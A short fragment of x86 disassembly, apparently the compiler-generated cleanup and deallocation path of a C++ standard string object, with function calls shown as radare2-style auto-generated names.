mov dword [ebp + 0x34], 0xf
mov byte [ebp + 0x20], 0
cmp edx, 0x10
jb 0x404273
mov ecx, dword [ebp + 0x38]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x404269
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x404278
push edx
push ecx
call fcn.00418e03
add esp, 8
mov eax, esi
pop esi
pop ebp
ret
call fcn.0042140f
int3